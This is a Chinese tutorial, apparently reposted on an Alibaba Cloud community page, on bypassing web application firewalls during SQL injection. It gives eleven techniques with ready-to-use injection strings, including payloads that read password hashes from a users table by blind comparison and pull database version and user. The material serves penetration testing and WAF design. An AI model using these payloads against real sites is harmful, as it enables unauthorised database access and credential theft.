SQL注入中的WAF繞過技術

來源:互聯網
上載者:User

標籤:

SQL注入中的WAF繞過技術1月 06, 2013 發布在 學習筆記

bystander
部落格:http://leaver.me
論壇:法克論壇

目錄

1.大小寫繞過

2.簡單編碼繞過

3.注釋繞過

4.分隔重寫繞過

5.Http參數汙染(HPP)

6.使用邏輯運算子 or /and繞過

7.比較操作符替換

8.同功能函數替換

9.盲注無需or和and

10.加括弧

11.緩衝區溢位繞過

1. 大小寫繞過
這個大家都很熟悉,對於一些太垃圾的WAF效果顯著,比如攔截了union,那就使用Union UnIoN等等。繞過

2. 簡單編碼繞過
比如WAF檢測關鍵字,那麼我們讓他檢測不到就可以了。比如檢測union,那麼我們就用%55 也就是U的16進位編碼來代替U, union寫成 %55nION,結合大小寫也可以繞過一些WAF,你可以隨意替換一個或幾個都可以。。

也還有大家在Mysql注入中比如表名或是load檔案的時候,會把檔案名稱或是表明用16進位編碼來繞過WAF都是屬於這類。

3. 注釋繞過
這種情況比較少,適用於WAF只是過濾了一次危險的語句,而沒有阻斷我們的整個查詢

 

 

 

/?id=1+union+select+1,2,3/*

比如對於上面這條查詢,WAF過濾了一次union和select,那麼我們在之前在寫一個注釋的語句,讓他把注釋裡面的過濾掉,,並不影響我們的查詢。。
所以繞過語句就是:

 


/?id=1/union/union/select/select+1,2,3/*
還有一種和注釋有關的繞過:
比如

 

 


index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3,4….
可以看到,只要我們把敏感詞放到注釋裡面,注意,前面要加一個!

 

4. 分隔重寫繞過
還是上面的例子,適用於那種WAF採用了Regex的情況,會檢測所有的敏感字,而不在乎你寫在哪裡,有幾個就過濾幾個。。
我們可以通過注釋分開敏感字,這樣WAF的正則不起作用了,而帶入查詢的時候並不影響我們的結果

 

 

 

/?id=1+un//ion+sel//ect+1,2,3–

至於重寫繞過,適用於WAF過濾了一次的情況,和我們上傳aaspsp馬的原理一樣,我們可以寫出類似Ununionion這樣的。過濾一次union後就會執行我們的查詢了

 


?id=1 ununionion select 1,2,3–
5. Http參數汙染(HPP)
比如我們有這樣的語句:

 

 


/?id=1 union select+1,2,3+from+users+where+id=1–
我們可以重複一次前面的id值添加我們的值來繞過,&id=會在查詢時變成逗號

 

 


/?id=1 union select+1&id=2,3+from+users+where+id=1–
這種情況成功的條件比較多,取決於具體的WAF實現。。

 

再給出一個例子說明用法

 

 

 

/?id=1/*/union/&id=/select/&id=/pwd/&id=/from/&id=*/users–

具體分析的話就涉及到查詢語句的後台代碼的編寫了。
比如伺服器是這樣寫的:

 


select * from table where a=”.$_GET[‘a’].” and b=”.$_GET[‘b’].” limit “.$_GET[‘c’];
那我們可以構造這樣的注入語句:

 

 


/?a=1+union/&b=/select+1,pass/&c=/from+users–
最終解析為:

 

 


select from table where a=1 union/ and b=/select 1,pass/limit */from users–
可以看到,這種方式其實比較適合白盒測試,而對於黑盒滲透的話,用起來比較麻煩。但是也可以一試。

 

6. 使用邏輯運算子 or /and繞過

 

 

 

/?id=1+OR+0x50=0x50
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

順便解釋一下第二句話,從最裡面的括弧開始分析,select+pwd+from+users+limit+1,1 這句是從users表裡查詢pwd欄位的第一條記錄,比如是admin,
然後mid(上一句),1,1就是取admin的第一個字元,也就是a,
lower(上一句)就是把字元轉換為小寫,
然後ascii就是把a轉換成ascii碼,看等不等於74.

7. 比較操作符替換
包括!= 不等於,<>不等於,< 小於,>大於,這些都可以用來替換=來繞過,
比如上一個例子,要判斷是不是74,假設=被過濾,那麼我們可以判斷是不是大於73,是不是小於75,然後就知道是74了。。很多WAF都會忘了這個。

8. 同功能函數替換
Substring()可以用mid(),substr()這些函數來替換,都是用來取字串的某一位字元的。
Ascii()編碼可以用hex(),bin(),也就是16進位和二進位編碼替換
Benchmark() 可以用sleep()來替換,這兩個使用在基於延時的盲注中,有機會給大家介紹
如果連這些都屏蔽了,還有一種新的方法

 

 

 

substring((select ‘password’),1,1) = 0x70
substr((select ‘password’),1,1) = 0x70
mid((select ‘password’),1,1) = 0x70

比如這三條,都是從password裡判斷第一個字元的值,可以用

 


strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1
來替換,left用來取字串左起1位的值,strcmp用來比較兩個值,如果比較結果相等就為0,左邊小的話就為-1,否則為1
還有我前幾篇說過的group_concat 和concat和concat_ws也可以互相替換

 

9. 盲注無需or和and
比如有這樣一個注入點:

 

 

 

index.php?uid=123

and or 被過濾了,其實有一種更直接的方法,我們直接修改123為我們的語句產生的,

 


index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
123的時候頁面是正確的,我們現在在盲猜hash的第一位,如果第一位等於0x42也就是B,那麼strcmp結果為0,0+123=123,所以頁面應該是正確的。否則就說明不是B,就這樣猜,不用and 和or了。。

 

10. 加括弧

 

 

 

/?id=1+union+(select+1,2+from+users)

比如,上面這一條被WAF攔截了。可以試試加一些括弧

 


/?id=1+union+(select+1,2+from+xxx)
/?id=(1)union(select(1),mid(hash,1,32)from(users))
/?id=1+union+(select’1’,concat(login,hash)from+users)
/?id=(1)union(((((((select(1),hex(hash)from(users))))))))
/?id=(1)or(0x50=0x50)
最後,個人能力畢竟有限,有些也一時想不起,想起來的話再補充。同時歡迎大家指正,補充。

 

11.緩衝區溢位繞過
剛剛寫著把這個給忘了。這個是從國外一個部落格看到的。

 

 

 

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
,27,28,29,30,31,32,33,34,35,36–+

其中0xAAAAAAAAAAAAAAAAAAAAA這裡A越多越好。。一般要求1000個以上

SQL注入中的WAF繞過技術

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.